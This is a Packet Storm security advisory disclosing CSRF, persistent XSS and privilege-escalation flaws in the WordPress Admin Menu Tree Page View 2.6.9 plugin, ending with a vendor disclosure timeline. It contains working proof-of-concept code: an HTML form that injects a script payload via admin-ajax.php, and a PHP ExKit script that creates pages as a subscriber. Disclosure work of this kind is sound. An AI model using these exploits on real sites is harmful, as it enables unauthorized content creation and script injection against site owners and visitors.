exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Admin Menu Tree Page View 2.6.9 CSRF / Privilege Escalation

WordPress Admin Menu Tree Page View 2.6.9 CSRF / Privilege Escalation
Posted Jan 8, 2018
Authored by Panagiotis Vagenas

WordPress Admin Menu Tree Page View plugin version 2.6.9 suffers from cross site request forgery and privilege escalation vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | 54f7b6532c1cd84aaaf814650b76fbee0bd6142457303dc6b6bf6f73f68e5a64

WordPress Admin Menu Tree Page View 2.6.9 CSRF / Privilege Escalation

Change Mirror Download
* Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://eskapism.se/
* Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view
* Version: 2.6.9
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress


Description
-----------

Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which
calls back the function `admin_menu_tree_page_view_add_page`. The later
does not implement any anti-CSRF controls or security checks.

Leveraging a CSRF attack an attacker could perform a Persistent XSS
attack if the victim has administrative rights (see PoC).

The AJAX action is a privileged one so it's only available for
registered users. Even so it doesn't implement any capabilities checks
so it's available to all users no matter the access level. This could
allow any registered user to create arbitrary posts no matter the access
level.

PoC
---

### CSRF -> Persistent XSS

In this PoC we exploit the `$_POST["page_titles"]` param to perform a
Persistent XSS attack.

```
<pre class="lang:html decode:true "><form method="post"
action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
<input type="hidden" name="action"
value="admin_menu_tree_page_view_add_page">
<input type="text" name="type" value="after">
<input type="text" name="pageID" value="1">
<input type="text" name="post_type" value="page">
<input type="text" name="page_titles[]"
value="<script>alert(1)</script>">
<input type="text" name="post_status" value="publish">
<button type="submit" value="Submit">Submit</button>
</form>

```

### Create Arbitrary Posts

In this PoC we use a user with subscriber access to create arbitrary
pages. The post\_type is user defined so in the same manner we could
create any post type.

```
#!/usr/bin/env php
<?php
/*******************************************************************************
* Admin Menu Tree Page View [Privilege Escalation]
*
* To install deps run `composer require wordfence/exkit`.
*
* @author Panagiotis Vagenas <pan.vagenas@gmail.com>
* @date 2017-08-09
******************************************************************************/

require_once __DIR__ . '/vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );

$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
$s->XDebugOn();

Cli::writeInfo( 'Logging in as subscriber...' );

WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );

Cli::writeInfo( 'Sending payload...' );

$postData = [
'action' => 'admin_menu_tree_page_view_add_page',
'type' => 'after',
'pageID' => '1',
'post_type' => 'page',
'page_titles' => [ '<script>alert(1)</script>' ],
'post_status' => 'publish',
];

$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);

if(!$r->success || !$r->body == '0'){
ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}

ExitCodes::exitWithSuccess('Exploitation successful');

```

Timeline
--------

1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin author through WordPress.org
support threads
3. **2017-12-13**: Tried to contact plugin author by creating an issue
in plugin's repository on Github
4. **2017-12-13**: Vendor replied
5. **2017-12-14**: Vendor received details
6. **2018-01-07**: Patch released
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    13 Files
  • 10
    Aug 10th
    34 Files
  • 11
    Aug 11th
    16 Files
  • 12
    Aug 12th
    5 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close